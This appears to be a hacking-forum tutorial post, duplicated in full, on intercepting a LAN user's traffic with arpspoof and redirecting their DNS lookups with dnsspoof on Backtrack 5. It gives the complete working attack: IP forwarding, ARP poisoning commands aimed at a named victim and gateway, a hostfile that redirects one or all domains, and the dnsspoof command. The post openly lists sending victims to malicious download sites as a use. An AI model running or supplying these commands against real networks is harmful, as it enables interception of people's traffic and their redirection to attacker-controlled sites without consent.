[Tutorial] Directing All Requests From A Machine In LAN To Another Address.[DnsSpoof] 03-29-2012, 01:30 AM
#1
Tools Used:
1) Backtrack 5 R1
2) Dsniff Package (Pre-Installed in BT5)
3) Arpspoof and Dnsspoof (Tools Included In Dsniff Package)
Principle Used:
It uses a simple principle. Since we are in the same network (LAN), we spoof the request and replies of our victim and the gateway by making them send all requests through our machine and forging the replies.
Victim's IP: 192.168.11.8
Gateway IP (router ip): 192.168.11.1
Our IP: 192.168.11.7
Normal Condition:
Victim<------------->Router/Gateway
Compromised Condition:
Victim<---------->Attacker<--------->Router/Gateway
Thus, everyting can be compromised, which can be used for both good results as well as bad, which we will discuss later.
Attack method:
1) First, we need to ip forward so that we do not DOS the network.
echo 1 > /proc/sys/net/ipv4/ip_forward
2) Secondly, we use arpspoof on victim and gateway which will make the victim think we are gateway and vice-versa.
arpspoof -t 192.168.11.8 192.168.11.1
arpspoof -t 192.168.11.1 192.168.11.8
![[Image: Screenshot-6.png]](http://4.bp.blogspot.com/-6k7G2X4bjyg/Trjwfco_mtI/AAAAAAAAAE0/cpxZtd81HfI/s1600/Screenshot-6.png)
![[Image: Screenshot-8.png]](http://3.bp.blogspot.com/-1LdICy_0DUs/Trjwhpic6MI/AAAAAAAAAE8/Cbe96yfsPUA/s1600/Screenshot-8.png)
After this attack we becomd the ManInTheMiddle. We can do almost anything we want, not only spoof addresses.
3) We need to create a simple text file with addresses that we want to redirect. 74.125.235.52 is ip addr of google.com.
eg:
74.125.235.52 www.yahoo.com
(This will redirect all yahoo.com request to google.com)
74.125.235.52 *
(This will redirect all the addresses to google.com)
4) Execute the dnsspoof command to forge the requests and replies:
dnsspoof -i wlan1 -f hostfile host 192.168.11.8 and udp port 53
*hostfile is the file we created on step 3.
**wlan1 is my network interface, it may different
.
Now all the requests from the victim will be forged and he will be redirected to the addresses we have setup.
Uses and Misuses of dnsspoofing:
1) It can be used by people to prevent others in their lan from accessing certain sites (porn,social sites, voilent sites etc.)
2) Can be used to play pranks on friends..
3) It can be used by Hacker's to redirect their victim's to some malicious sites and force them to download/execute/click on whatever stuffs they have uploaded there which can be used to exploit the victim.
Comments and feedbacks are always welcomed, negative as well as positive.
Original Post here: http://mindfulloftrash.blogspot.com/2011...-from.html
1) Backtrack 5 R1
2) Dsniff Package (Pre-Installed in BT5)
3) Arpspoof and Dnsspoof (Tools Included In Dsniff Package)
Principle Used:
It uses a simple principle. Since we are in the same network (LAN), we spoof the request and replies of our victim and the gateway by making them send all requests through our machine and forging the replies.
Victim's IP: 192.168.11.8
Gateway IP (router ip): 192.168.11.1
Our IP: 192.168.11.7
Normal Condition:
Victim<------------->Router/Gateway
Compromised Condition:
Victim<---------->Attacker<--------->Router/Gateway
Thus, everyting can be compromised, which can be used for both good results as well as bad, which we will discuss later.
Attack method:
1) First, we need to ip forward so that we do not DOS the network.
echo 1 > /proc/sys/net/ipv4/ip_forward
2) Secondly, we use arpspoof on victim and gateway which will make the victim think we are gateway and vice-versa.
arpspoof -t 192.168.11.8 192.168.11.1
arpspoof -t 192.168.11.1 192.168.11.8
![[Image: Screenshot-6.png]](http://4.bp.blogspot.com/-6k7G2X4bjyg/Trjwfco_mtI/AAAAAAAAAE0/cpxZtd81HfI/s1600/Screenshot-6.png)
![[Image: Screenshot-8.png]](http://3.bp.blogspot.com/-1LdICy_0DUs/Trjwhpic6MI/AAAAAAAAAE8/Cbe96yfsPUA/s1600/Screenshot-8.png)
After this attack we becomd the ManInTheMiddle. We can do almost anything we want, not only spoof addresses.

3) We need to create a simple text file with addresses that we want to redirect. 74.125.235.52 is ip addr of google.com.
eg:
74.125.235.52 www.yahoo.com
(This will redirect all yahoo.com request to google.com)
74.125.235.52 *
(This will redirect all the addresses to google.com)
4) Execute the dnsspoof command to forge the requests and replies:
dnsspoof -i wlan1 -f hostfile host 192.168.11.8 and udp port 53
*hostfile is the file we created on step 3.
**wlan1 is my network interface, it may different
.Now all the requests from the victim will be forged and he will be redirected to the addresses we have setup.
Uses and Misuses of dnsspoofing:
1) It can be used by people to prevent others in their lan from accessing certain sites (porn,social sites, voilent sites etc.)
2) Can be used to play pranks on friends..
3) It can be used by Hacker's to redirect their victim's to some malicious sites and force them to download/execute/click on whatever stuffs they have uploaded there which can be used to exploit the victim.
Comments and feedbacks are always welcomed, negative as well as positive.

Original Post here: http://mindfulloftrash.blogspot.com/2011...-from.html
YEAH YEAH.. GIVE ME NEGATIVE REP FOR SAYING TRUTH... BUT ANYWAY WHO CARES!!!. I AM WHO I AM...REPS DO NOT MATTER TO ME.. GIVE ME 1000 -ve REPS, but IF MY POST IS GOOD THEN READERS WILL KNOW
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)